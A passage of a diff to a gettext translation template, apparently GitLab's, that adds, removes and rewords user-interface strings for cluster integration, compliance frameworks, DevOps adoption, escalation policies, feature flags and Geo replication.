msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
